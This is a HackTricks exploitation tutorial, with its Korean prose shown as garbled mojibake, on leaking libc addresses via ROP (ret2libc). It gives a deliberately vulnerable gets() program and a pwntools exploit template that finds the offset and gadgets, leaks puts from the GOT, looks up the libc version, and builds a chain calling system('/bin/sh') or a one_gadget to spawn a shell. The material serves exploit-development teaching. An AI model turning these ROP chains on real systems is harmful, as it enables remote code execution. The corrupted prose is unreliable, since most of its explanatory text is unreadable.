ROP์ ์ด์ฉํ libc ์ฃผ์ ์ ์ถ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ๋จ ์์ฝ
- ์ค๋ฒํ๋ก์ฐ ์คํ์ ์ฐพ๊ธฐ
POP_RDI๊ฐ์ ฏ,PUTS_PLT๋ฐMAIN๊ฐ์ ฏ ์ฐพ๊ธฐ- ์ด์ ๊ฐ์ ฏ์ ์ฌ์ฉํ์ฌ puts ๋๋ ๋ค๋ฅธ libc ํจ์์ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ฅผ ์ ์ถํ๊ณ libc ๋ฒ์ ์ฐพ๊ธฐ (๋ค์ด๋ก๋ํ๊ธฐ)
- ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ฌ ROP ๊ณ์ฐ ๋ฐ ์ต์คํ๋ก์ํ๊ธฐ
์ฐ์ตํ ๋ค๋ฅธ ํํ ๋ฆฌ์ผ ๋ฐ ๋ฐ์ด๋๋ฆฌ
์ด ํํ ๋ฆฌ์ผ์ ์ด ํํ ๋ฆฌ์ผ์์ ์ ์ํ ์ฝ๋/๋ฐ์ด๋๋ฆฌ๋ฅผ ์ต์คํ๋ก์ํ ๊ฒ์
๋๋ค: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
๋ ๋ค๋ฅธ ์ ์ฉํ ํํ ๋ฆฌ์ผ: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
์ฝ๋
ํ์ผ ์ด๋ฆ: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - LIBC ์ ์ถ ํ ํ๋ฆฟ
์ต์คํ๋ก์์ ๋ค์ด๋ก๋ํ๊ณ ์ทจ์ฝํ ๋ฐ์ด๋๋ฆฌ์ ๋์ผํ ๋๋ ํ ๋ฆฌ์ ๋ฐฐ์นํ ํ ์คํฌ๋ฆฝํธ์ ํ์ํ ๋ฐ์ดํฐ๋ฅผ ์ ๊ณตํ์ญ์์ค:
1- ์คํ์ ์ฐพ๊ธฐ
ํ
ํ๋ฆฟ์ ์ต์คํ๋ก์์ ๊ณ์ํ๊ธฐ ์ ์ ์คํ์
์ด ํ์ํฉ๋๋ค. ์ ๊ณต๋ ๊ฒฝ์ฐ ํ์ํ ์ฝ๋๋ฅผ ์คํํ์ฌ ์ด๋ฅผ ์ฐพ์ต๋๋ค(๊ธฐ๋ณธ๊ฐ OFFSET = ""):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
์คํ python template.py ํ๋ฉด ํ๋ก๊ทธ๋จ์ด ์ถฉ๋ํ๋ GDB ์ฝ์์ด ์ด๋ฆฝ๋๋ค. ๊ทธ GDB ์ฝ์ ์์์ x/wx $rsp๋ฅผ ์คํํ์ฌ RIP๋ฅผ ๋ฎ์ด์ธ ๋ฐ์ดํธ๋ฅผ ๊ฐ์ ธ์ต๋๋ค. ๋ง์ง๋ง์ผ๋ก python ์ฝ์์ ์ฌ์ฉํ์ฌ ์คํ์
์ ๊ฐ์ ธ์ต๋๋ค:
from pwn import *
cyclic_find(0x6161616b)
.png)
์คํ์
(์ด ๊ฒฝ์ฐ 40)์ ์ฐพ์ ํ, ํด๋น ๊ฐ์ ์ฌ์ฉํ์ฌ ํ
ํ๋ฆฟ ๋ด์ OFFSET ๋ณ์๋ฅผ ๋ณ๊ฒฝํฉ๋๋ค.OFFSET = "A" * 40
๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์: pattern create 1000 โ ret๊น์ง ์คํ โ pattern seach $rsp๋ฅผ GEF์์ ์ฌ์ฉํ๋ ๊ฒ์
๋๋ค.
2- ๊ฐ์ ฏ ์ฐพ๊ธฐ
์ด์ ๋ฐ์ด๋๋ฆฌ ๋ด์์ ROP ๊ฐ์ ฏ์ ์ฐพ์์ผ ํฉ๋๋ค. ์ด ROP ๊ฐ์ ฏ์ puts๋ฅผ ํธ์ถํ์ฌ ์ฌ์ฉ ์ค์ธ libc๋ฅผ ์ฐพ๊ณ , ๋์ค์ ์ต์ข
์ต์คํ๋ก์์ ์คํํ๋ ๋ฐ ์ ์ฉํฉ๋๋ค.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
PUTS_PLT๋ function puts๋ฅผ ํธ์ถํ๋ ๋ฐ ํ์ํฉ๋๋ค.MAIN_PLT๋ exploit์ ์ํด ํ ๋ฒ์ ์ํธ์์ฉ ํ main function์ ๋ค์ ํธ์ถํ๋ ๋ฐ ํ์ํฉ๋๋ค (๋ฌดํํ exploitation์ ๋ผ์ด๋). ๊ฐ ROP์ ๋์์ ํ๋ก๊ทธ๋จ์ ๋ค์ ํธ์ถํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
POP_RDI๋ ํธ์ถ๋ ํจ์์ parameter๋ฅผ ์ ๋ฌํ๋ ๋ฐ ํ์ํฉ๋๋ค.
์ด ๋จ๊ณ์์๋ pwntools๊ฐ ์คํ ์ค์ ๋ชจ๋ ๊ฒ์ ์ฐพ๊ธฐ ๋๋ฌธ์ ์๋ฌด๊ฒ๋ ์คํํ ํ์๊ฐ ์์ต๋๋ค.
3- libc ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฐพ๊ธฐ
์ด์ ์ด๋ค ๋ฒ์ ์ libc ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์ฌ์ฉ๋๊ณ ์๋์ง ์ฐพ์ ์๊ฐ์
๋๋ค. ๊ทธ๋ ๊ฒ ํ๊ธฐ ์ํด ์ฐ๋ฆฌ๋ function puts์ ๋ฉ๋ชจ๋ฆฌ ๋ด address๋ฅผ leakํ ๋ค์, ํด๋น ์ฃผ์์์ puts ๋ฒ์ ์ด ์๋ library version์ searchํ ๊ฒ์
๋๋ค.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
์ด๋ฅผ ์ํด ์คํ๋ ์ฝ๋์์ ๊ฐ์ฅ ์ค์ํ ์ค์:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
์ด๊ฒ์ RIP๋ฅผ ๋ฎ์ด์ฐ๊ธฐ ํ ์ ์์ ๋๊น์ง ๋ช ๋ฐ์ดํธ๋ฅผ ์ ์กํ ๊ฒ์
๋๋ค: OFFSET.
๊ทธ๋ฐ ๋ค์, RDI ๋ ์ง์คํฐ์ ๋ค์ ์ฃผ์(FUNC_GOT)๊ฐ ์ ์ฅ๋๋๋ก POP_RDI ๊ฐ์ ฏ์ ์ฃผ์๋ฅผ ์ค์ ํฉ๋๋ค. ์ด๋ ์ฐ๋ฆฌ๊ฐ puts๋ฅผ ํธ์ถํ๊ณ PUTS_GOT์ ์ฃผ์๋ฅผ ๋ฉ๋ชจ๋ฆฌ์ puts ํจ์ ์ฃผ์๋ก ์ ๋ฌํ๊ณ ์ ํ๊ธฐ ๋๋ฌธ์
๋๋ค.
๊ทธ ํ, PUTS_PLT๊ฐ ํธ์ถ๋ ๊ฒ์ด๋ฉฐ(PUTS_GOT๊ฐ RDI ์์ ์์) puts๋ PUTS_GOT ์์ ๋ด์ฉ์ ์ฝ๊ณ (๋ฉ๋ชจ๋ฆฌ์์ puts ํจ์์ ์ฃผ์) ์ด๋ฅผ ์ถ๋ ฅํ ๊ฒ์
๋๋ค.
๋ง์ง๋ง์ผ๋ก, main ํจ์๊ฐ ๋ค์ ํธ์ถ๋์ด ์ฐ๋ฆฌ๋ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ค์ ์ด์ฉํ ์ ์์ต๋๋ค.
์ด๋ ๊ฒ ์ฐ๋ฆฌ๋ puts ํจ์๋ฅผ ์์ฌ ๋ฉ๋ชจ๋ฆฌ์ ์๋ puts ํจ์์ ์ฃผ์๋ฅผ ์ถ๋ ฅํ๊ฒ ๋ง๋ค์์ต๋๋ค (์ด๋ libc ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์์ ์์ต๋๋ค). ์ด์ ๊ทธ ์ฃผ์๋ฅผ ์์์ผ๋ ์ด๋ค libc ๋ฒ์ ์ด ์ฌ์ฉ๋๊ณ ์๋์ง ๊ฒ์ํ ์ ์์ต๋๋ค.
.png)
์ฐ๋ฆฌ๊ฐ ๋ก์ปฌ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์
์ฉํ๊ณ ์๊ธฐ ๋๋ฌธ์ ์ด๋ค libc ๋ฒ์ ์ด ์ฌ์ฉ๋๊ณ ์๋์ง ์์๋ผ ํ์๋ ์์ต๋๋ค (๋จ์ง /lib/x86_64-linux-gnu/libc.so.6์์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฐพ์ผ๋ฉด ๋ฉ๋๋ค).
ํ์ง๋ง ์๊ฒฉ ์ต์คํ๋ก์์ ๊ฒฝ์ฐ, ์ฌ๊ธฐ์ ์ด๋ป๊ฒ ์ฐพ์ ์ ์๋์ง ์ค๋ช
ํ๊ฒ ์ต๋๋ค:
3.1- libc ๋ฒ์ ๊ฒ์ (1)
์น ํ์ด์ง์์ ์ด๋ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์ฌ์ฉ๋๊ณ ์๋์ง ๊ฒ์ํ ์ ์์ต๋๋ค: https://libc.blukat.me/
์ด ์ฌ์ดํธ๋ ๋ฐ๊ฒฌ๋ libc ๋ฒ์ ์ ๋ค์ด๋ก๋ํ ์ ์๋๋ก ํด์ค๋๋ค.
.png)
3.2- libc ๋ฒ์ ๊ฒ์ (2)
๋ค์๊ณผ ๊ฐ์ด ํ ์๋ ์์ต๋๋ค:
$ git clone https://github.com/niklasb/libc-database.git$ cd libc-database$ ./get
์ด ์์
์ ์๊ฐ์ด ๊ฑธ๋ฆด ์ ์์ผ๋ ์ธ๋ด์ฌ์ ๊ฐ์ง์ธ์.
์ด ์์
์ด ์๋ํ๋ ค๋ฉด ๋ค์์ด ํ์ํฉ๋๋ค:
- Libc ์ฌ๋ณผ ์ด๋ฆ:
puts - ์ ์ถ๋ libc ์ฃผ์:
0x7ff629878690
์ฐ๋ฆฌ๋ ์ด๋ค libc๊ฐ ์ฌ์ฉ๋๊ณ ์๋์ง ์์๋ผ ์ ์์ต๋๋ค.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
์ฐ๋ฆฌ๋ 2๊ฐ์ ์ผ์น๋ฅผ ์ป์ต๋๋ค(์ฒซ ๋ฒ์งธ๊ฐ ์๋ํ์ง ์์ผ๋ฉด ๋ ๋ฒ์งธ๋ฅผ ์๋ํด์ผ ํฉ๋๋ค). ์ฒซ ๋ฒ์งธ ๊ฒ์ ๋ค์ด๋ก๋ํ์ธ์:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so์์ libc๋ฅผ ์ฐ๋ฆฌ์ ์์
๋๋ ํ ๋ฆฌ๋ก ๋ณต์ฌํฉ๋๋ค.
3.3- ๋์ถํ ๋ค๋ฅธ ํจ์๋ค
puts
printf
__libc_start_main
read
gets
4- Finding based libc address & exploiting
์ด ์์ ์์ ์ฐ๋ฆฌ๋ ์ฌ์ฉ๋ libc ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์์์ผ ํฉ๋๋ค. ๋ก์ปฌ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ต์คํ๋ก์ํ๊ณ ์์ผ๋ฏ๋ก ์ ๋ ๋จ์ง:/lib/x86_64-linux-gnu/libc.so.6๋ฅผ ์ฌ์ฉํ ๊ฒ์
๋๋ค.
๋ฐ๋ผ์ template.py์ ์์ ๋ถ๋ถ์์ libc ๋ณ์๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ๋ณ๊ฒฝํฉ๋๋ค: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
libc ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๊ฒฝ๋ก๋ฅผ ์ ๊ณตํ๋ฉด ๋๋จธ์ง ์ต์คํ๋ก์์ ์๋์ผ๋ก ๊ณ์ฐ๋ ๊ฒ์ ๋๋ค.
get_addr ํจ์ ๋ด์์ libc์ ๊ธฐ๋ณธ ์ฃผ์๊ฐ ๊ณ์ฐ๋ ๊ฒ์
๋๋ค:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
Tip
์ต์ข libc ๊ธฐ๋ณธ ์ฃผ์๋ 00์ผ๋ก ๋๋์ผ ํฉ๋๋ค. ๊ทธ๋ ์ง ์์ ๊ฒฝ์ฐ ์๋ชป๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ ์ถํ์ ์ ์์ต๋๋ค.
๊ทธ๋ฐ ๋ค์, ํจ์ system์ ์ฃผ์์ ๋ฌธ์์ด _โ/bin/shโ_์ ์ฃผ์๋ libc์ ๊ธฐ๋ณธ ์ฃผ์์์ ๊ณ์ฐ๋ฉ๋๋ค. ๊ทธ๋ฆฌ๊ณ libc ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์ ๊ณต๋ฉ๋๋ค.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
๋ง์ง๋ง์ผ๋ก, /bin/sh ์คํ ์ต์คํ๋ก์์ด ์ค๋น๋ ๊ฒ์ ๋๋ค:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
๋ง์ง๋ง ROP์ ๋ํด ์ค๋ช
ํ๊ฒ ์ต๋๋ค.
๋ง์ง๋ง ROP(rop1)์ ๋ค์ main ํจ์๋ฅผ ํธ์ถํ ํ, ๋ค์ overflow๋ฅผ exploitํ ์ ์์ต๋๋ค(๊ทธ๋์ OFFSET์ด ๋ค์ ์ฌ๊ธฐ์ ์์ต๋๋ค). ๊ทธ๋ฐ ๋ค์, addres โ/bin/shโ(BINSH)๋ฅผ ๊ฐ๋ฆฌํค๋ POP_RDI๋ฅผ ํธ์ถํ๊ณ system ํจ์(SYSTEM)๋ฅผ ํธ์ถํ๋ ค๊ณ ํฉ๋๋ค. _โ/bin/shโ_์ ์ฃผ์๊ฐ ๋งค๊ฐ๋ณ์๋ก ์ ๋ฌ๋ ๊ฒ์
๋๋ค.
๋ง์ง๋ง์ผ๋ก, exit ํจ์์ ์ฃผ์๊ฐ ํธ์ถ๋์ด ํ๋ก์ธ์ค๊ฐ ์ ์์ ์ผ๋ก ์ข
๋ฃ๋๊ณ ์ด๋ค ๊ฒฝ๊ณ ๋ ์์ฑ๋์ง ์์ต๋๋ค.
์ด๋ ๊ฒ ํ๋ฉด exploit๊ฐ /bin/sh ์ ธ์ ์คํํฉ๋๋ค.
.png)
4(2)- ONE_GADGET ์ฌ์ฉํ๊ธฐ
system๊ณผ โ/bin/shโ ๋์ ์ ONE_GADGET๋ฅผ ์ฌ์ฉํ์ฌ ์
ธ์ ์ป์ ์๋ ์์ต๋๋ค. ONE_GADGET์ libc ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ด์์ ๋จ ํ๋์ ROP ์ฃผ์๋ง์ผ๋ก ์
ธ์ ์ป๋ ๋ฐฉ๋ฒ์ ์ฐพ์ต๋๋ค.
๊ทธ๋ฌ๋ ์ผ๋ฐ์ ์ผ๋ก ๋ช ๊ฐ์ง ์ ์ฝ์ด ์์ผ๋ฉฐ, ๊ฐ์ฅ ์ผ๋ฐ์ ์ด๊ณ ํผํ๊ธฐ ์ฌ์ด ๊ฒ์ [rsp+0x30] == NULL์
๋๋ค. RSP ๋ด๋ถ์ ๊ฐ์ ์ ์ดํ๋ฏ๋ก ์ ์ฝ์ ํผํ๊ธฐ ์ํด ์ถ๊ฐ์ ์ธ NULL ๊ฐ์ ๋ณด๋ด๊ธฐ๋ง ํ๋ฉด ๋ฉ๋๋ค.
.png)
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
EXPLOIT FILE
์ด ์ทจ์ฝ์ ์ ์ด์ฉํ๊ธฐ ์ํ ํ ํ๋ฆฟ์ ์ฌ๊ธฐ์์ ์ฐพ์ ์ ์์ต๋๋ค:
Common problems
MAIN_PLT = elf.symbols[โmainโ] not found
โmainโ ์ฌ๋ณผ์ด ์กด์ฌํ์ง ์๋ ๊ฒฝ์ฐ, ๋ฉ์ธ ์ฝ๋๊ฐ ์ด๋์ ์๋์ง ์ฐพ์ ์ ์์ต๋๋ค:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
์ฃผ์๋ฅผ ์๋์ผ๋ก ์ค์ ํฉ๋๋ค:
MAIN_PLT = 0x401080
Puts not found
If the binary is not using Puts you should check if it is using
sh: 1: %s%s%s%s%s%s%s%s: not found
If you find this error after creating all the exploit: sh: 1: %s%s%s%s%s%s%s%s: not found
Try to ์ฃผ์ โ/bin/shโ์์ 64 ๋ฐ์ดํธ๋ฅผ ๋นผ๋ณด์ธ์:
BINSH = next(libc.search("/bin/sh")) - 64
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


